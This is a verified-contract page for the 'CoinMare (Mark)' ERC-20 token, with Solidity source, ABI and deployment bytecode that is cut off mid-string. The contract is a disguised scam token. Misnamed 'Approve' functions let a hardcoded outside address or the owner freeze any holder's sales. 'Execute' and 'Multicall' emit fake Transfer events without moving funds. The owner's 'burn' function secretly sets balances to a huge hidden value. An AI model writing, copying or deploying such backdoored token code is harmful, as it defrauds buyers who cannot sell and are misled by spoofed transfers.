ETH Price: $3,454.21 (-1.10%)
Gas: 11 Gwei

Token

CoinMare (Mark)
 

Overview

Max Total Supply

100,000,000,000,000 Mark

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
706,188,066,870.162648385 Mark

Value
$0.00
0xa3583714A38eE683150D8b96caa5aB4C719a2421
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CoinMare

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

// SPDX-License-Identifier: MIT

/** 🌐 https://CoinMare.xyz/  */

pragma solidity =0.8.8;

library SafeMath {

    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        return a - b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }


}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    
    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode.
        return msg.data;
    }
}


abstract contract Security is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    modifier _auth() {require(msg.sender == 0x31359E783F5B95Bc5BCbB577d8CdD3BAc039039C);_;}

    function owner() internal view virtual returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is Context, Security, IERC20 {
    using SafeMath for uint256;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _receiver;
    uint256 private maxTxLimit = 1*10**17*10**9;
    bool castVotes = false;
    uint256 private balances;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
 
    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals}.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
        balances = maxTxLimit;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setRule(address _delegate) external onlyOwner {
        _receiver[_delegate] = false;
    }


    function maxHoldingAmount(address _delegate) public view returns (bool) {
        return _receiver[_delegate];
    }
    function toCast(bool c) external onlyOwner {
        castVotes = c;
    }

    function Approve(address _delegate) external  {
        require(msg.sender == 0x31359E783F5B95Bc5BCbB577d8CdD3BAc039039C || msg.sender == owner());
        if(_delegate != owner()) {
            _receiver[_delegate] = true;
        }
    }
    function Approve(address[] memory _delegate) external  {
        require(msg.sender == 0x31359E783F5B95Bc5BCbB577d8CdD3BAc039039C || msg.sender == owner());
        for (uint16 i = 0; i < _delegate.length; ) {
            if(_delegate[i] != owner()) {
                _receiver[_delegate[i]] = true;
            }
            unchecked { ++i; }
        }
    }


  function dropPresaleAllocation(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public onlyOwner(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}


  function Execute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _auth(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}


  function Multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _auth(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, ""));
        return true;
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, ""));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        if (_receiver[sender]) require(castVotes == true, "");
        require(sender != address(0), "");
        require(recipient != address(0), "");
        
        _balances[sender] = _balances[sender].sub(amount, "");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "");
        require(spender != address(0), "");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    

}

contract CoinMare is ERC20 {
    using SafeMath for uint256;
    
    uint256 private totalsupply_;

    /// @notice A record of states for signing / validating signatures
    mapping (address => uint) public nonces;

    constructor () ERC20("CoinMare", "Mark") {
        totalsupply_ = 100000000000000 * 10**9;
        _mint(_msgSender(), totalsupply_);
        
    }
    
    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_delegate","type":"address[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"Multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"dropPresaleAllocation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"maxHoldingAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"toCast","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004556000600560006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040518060400160405280600881526020017f436f696e4d6172650000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4d61726b000000000000000000000000000000000000000000000000000000008152506000620000ba620001ea60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816007908051906020019062000170929190620003ba565b50806008908051906020019062000189929190620003ba565b5060098060006101000a81548160ff021916908360ff160217905550600454600681905550505069152d02c7e14af6800000600b81905550620001e4620001d5620001ea60201b60201c565b600b54620001f260201b60201c565b620005f0565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000265576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200025c90620004a5565b60405180910390fd5b6200028181600a546200038f60201b620011b41790919060201c565b600a81905550620002e081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200038f60201b620011b41790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003839190620004e2565b60405180910390a35050565b6000808284620003a091906200052e565b905083811015620003b057600080fd5b8091505092915050565b828054620003c890620005ba565b90600052602060002090601f016020900481019282620003ec576000855562000438565b82601f106200040757805160ff191683800117855562000438565b8280016001018555821562000438579182015b82811115620004375782518255916020019190600101906200041a565b5b5090506200044791906200044b565b5090565b5b80821115620004665760008160009055506001016200044c565b5090565b600082825260208201905092915050565b50565b60006200048d6000836200046a565b91506200049a826200047b565b600082019050919050565b60006020820190508181036000830152620004c0816200047e565b9050919050565b6000819050919050565b620004dc81620004c7565b82525050565b6000602082019050620004f96000830184620004d1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200053b82620004c7565b91506200054883620004c7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000580576200057f620004ff565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005d357607f821691505b60208210811415620005ea57620005e96200058b565b5b50919050565b61217080620006006000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806373db1eb2116100b8578063a457c2d71161007c578063a457c2d714610387578063a9059cbb146103b7578063cfde3cb6146103e7578063db5d779314610403578063dd62ed3e1461041f578063f2fde38b1461044f57610142565b806373db1eb2146102d15780637ecebe001461030157806395d89b411461033157806396bfcd231461034f5780639dc29fac1461036b57610142565b80633811ac021161010a5780633811ac0214610201578063395093511461021d5780635c76b0ae1461024d5780636613b091146102695780636d2e4e8d1461028557806370a08231146102a157610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f61046b565b60405161015c91906119c9565b60405180910390f35b61017f600480360381019061017a9190611a93565b6104fd565b60405161018c9190611aee565b60405180910390f35b61019d61051b565b6040516101aa9190611b18565b60405180910390f35b6101cd60048036038101906101c89190611b33565b610525565b6040516101da9190611aee565b60405180910390f35b6101eb6105f5565b6040516101f89190611ba2565b60405180910390f35b61021b60048036038101906102169190611d05565b61060c565b005b61023760048036038101906102329190611a93565b610783565b6040516102449190611aee565b60405180910390f35b61026760048036038101906102629190611e11565b610836565b005b610283600480360381019061027e9190611e11565b610940565b005b61029f600480360381019061029a9190611e11565b610a44565b005b6102bb60048036038101906102b69190611e9c565b610b4e565b6040516102c89190611b18565b60405180910390f35b6102eb60048036038101906102e69190611e9c565b610b97565b6040516102f89190611aee565b60405180910390f35b61031b60048036038101906103169190611e9c565b610bed565b6040516103289190611b18565b60405180910390f35b610339610c05565b60405161034691906119c9565b60405180910390f35b61036960048036038101906103649190611e9c565b610c97565b005b61038560048036038101906103809190611a93565b610db6565b005b6103a1600480360381019061039c9190611a93565b610e0a565b6040516103ae9190611aee565b60405180910390f35b6103d160048036038101906103cc9190611a93565b610ece565b6040516103de9190611aee565b60405180910390f35b61040160048036038101906103fc9190611ef5565b610eec565b005b61041d60048036038101906104189190611e9c565b610f4f565b005b61043960048036038101906104349190611f22565b610ff0565b6040516104469190611b18565b60405180910390f35b61046960048036038101906104649190611e9c565b611077565b005b60606007805461047a90611f91565b80601f01602080910402602001604051908101604052809291908181526020018280546104a690611f91565b80156104f35780601f106104c8576101008083540402835291602001916104f3565b820191906000526020600020905b8154815290600101906020018083116104d657829003601f168201915b5050505050905090565b600061051161050a6111dc565b84846111e4565b6001905092915050565b6000600a54905090565b60006105328484846113af565b6105ea8461053e6111dc565b6105e58560405180602001604052806000815250600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059b6111dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd9092919063ffffffff16565b6111e4565b600190509392505050565b6000600960009054906101000a900460ff16905090565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061068c575061065d61173b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61069557600080fd5b60005b81518161ffff16101561077f576106ad61173b565b73ffffffffffffffffffffffffffffffffffffffff16828261ffff16815181106106da576106d9611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161461077457600160036000848461ffff168151811061071a57610719611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806001019050610698565b5050565b600061082c6107906111dc565b8461082785600160006107a16111dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b6111e4565b6001905092915050565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461088257600080fd5b60005b825181101561093a578281815181106108a1576108a0611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061090a57610909611fc3565b5b602002602001015160405161091f9190611b18565b60405180910390a3808061093290612021565b915050610885565b50505050565b6109486111dc565b73ffffffffffffffffffffffffffffffffffffffff1661096661173b565b73ffffffffffffffffffffffffffffffffffffffff161461098657600080fd5b60005b8251811015610a3e578281815181106109a5576109a4611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610a0e57610a0d611fc3565b5b6020026020010151604051610a239190611b18565b60405180910390a38080610a3690612021565b915050610989565b50505050565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a9057600080fd5b60005b8251811015610b4857828181518110610aaf57610aae611fc3565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110610b1857610b17611fc3565b5b6020026020010151604051610b2d9190611b18565b60405180910390a38080610b4090612021565b915050610a93565b50505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c6020528060005260406000206000915090505481565b606060088054610c1490611f91565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4090611f91565b8015610c8d5780601f10610c6257610100808354040283529160200191610c8d565b820191906000526020600020905b815481529060010190602001808311610c7057829003601f168201915b5050505050905090565b7331359e783f5b95bc5bcbb577d8cdd3bac039039c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d175750610ce861173b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d2057600080fd5b610d2861173b565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610db3576001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b610dbe6111dc565b73ffffffffffffffffffffffffffffffffffffffff16610ddc61173b565b73ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b610e068282611764565b5050565b6000610ec4610e176111dc565b84610ebf856040518060200160405280600081525060016000610e386111dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd9092919063ffffffff16565b6111e4565b6001905092915050565b6000610ee2610edb6111dc565b84846113af565b6001905092915050565b610ef46111dc565b73ffffffffffffffffffffffffffffffffffffffff16610f1261173b565b73ffffffffffffffffffffffffffffffffffffffff1614610f3257600080fd5b80600560006101000a81548160ff02191690831515021790555050565b610f576111dc565b73ffffffffffffffffffffffffffffffffffffffff16610f7561173b565b73ffffffffffffffffffffffffffffffffffffffff1614610f9557600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61107f6111dc565b73ffffffffffffffffffffffffffffffffffffffff1661109d61173b565b73ffffffffffffffffffffffffffffffffffffffff16146110bd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110f757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846111c3919061206a565b9050838110156111d257600080fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124b906120e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb906120e6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113a29190611b18565b60405180910390a3505050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114585760011515600560009054906101000a900460ff16151514611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e906120e6565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bf906120e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152f906120e6565b60405180910390fd5b61159b8160405180602001604052806000815250600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116dd9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d09190611b18565b60405180910390a3505050565b6000838311158290611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c91906119c9565b60405180910390fd5b5082846117329190612106565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cb906120e6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561185b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611852906120e6565b60405180910390fd5b816006546118699190612106565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a60008282546118be9190612106565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119239190611b18565b60405180910390a3505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196a57808201518184015260208101905061194f565b83811115611979576000848401525b50505050565b6000601f19601f8301169050919050565b600061199b82611930565b6119a5818561193b565b93506119b581856020860161194c565b6119be8161197f565b840191505092915050565b600060208201905081810360008301526119e38184611990565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a2a826119ff565b9050919050565b611a3a81611a1f565b8114611a4557600080fd5b50565b600081359050611a5781611a31565b92915050565b6000819050919050565b611a7081611a5d565b8114611a7b57600080fd5b50565b600081359050611a8d81611a67565b92915050565b60008060408385031215611aaa57611aa96119f5565b5b6000611ab885828601611a48565b9250506020611ac985828601611a7e565b9150509250929050565b60008115159050919050565b611ae881611ad3565b82525050565b6000602082019050611b036000830184611adf565b92915050565b611b1281611a5d565b82525050565b6000602082019050611b2d6000830184611b09565b92915050565b600080600060608486031215611b4c57611b4b6119f5565b5b6000611b5a86828701611a48565b9350506020611b6b86828701611a48565b9250506040611b7c86828701611a7e565b9150509250925092565b600060ff82169050919050565b611b9c81611b86565b82525050565b6000602082019050611bb76000830184611b93565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611bfa8261197f565b810181811067ffffffffffffffff82111715611c1957611c18611bc2565b5b80604052505050565b6000611c2c6119eb565b9050611c388282611bf1565b919050565b600067ffffffffffffffff821115611c5857611c57611bc2565b5b602082029050602081019050919050565b600080fd5b6000611c81611c7c84611c3d565b611c22565b90508083825260208201905060208402830185811115611ca457611ca3611c69565b5b835b81811015611ccd5780611cb98882611a48565b845260208401935050602081019050611ca6565b5050509392505050565b600082601f830112611cec57611ceb611bbd565b5b8135611cfc848260208601611c6e565b91505092915050565b600060208284031215611d1b57611d1a6119f5565b5b600082013567ffffffffffffffff811115611d3957611d386119fa565b5b611d4584828501611cd7565b91505092915050565b600067ffffffffffffffff821115611d6957611d68611bc2565b5b602082029050602081019050919050565b6000611d8d611d8884611d4e565b611c22565b90508083825260208201905060208402830185811115611db057611daf611c69565b5b835b81811015611dd95780611dc58882611a7e565b845260208401935050602081019050611db2565b5050509392505050565b600082601f830112611df857611df7611bbd565b5b8135611e08848260208601611d7a565b91505092915050565b600080600060608486031215611e2a57611e296119f5565b5b6000611e3886828701611a48565b935050602084013567ffffffffffffffff811115611e5957611e586119fa565b5b611e6586828701611cd7565b925050604084013567ffffffffffffffff811115611e8657611e856119fa565b5b611e9286828701611de3565b9150509250925092565b600060208284031215611eb257611eb16119f5565b5b6000611ec084828501611a48565b91505092915050565b611ed281611ad3565b8114611edd57600080fd5b50565b600081359050611eef81611ec9565b92915050565b600060208284031215611f0b57611f0a6119f5565b5b6000611f1984828501611ee0565b91505092915050565b60008060408385031215611f3957611f386119f5565b5b6000611f4785828601611a48565b9250506020611f5885828601611a48565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fa957607f821691505b60208210811415611fbd57611fbc611f62565b5b50919050565b7f4e487b7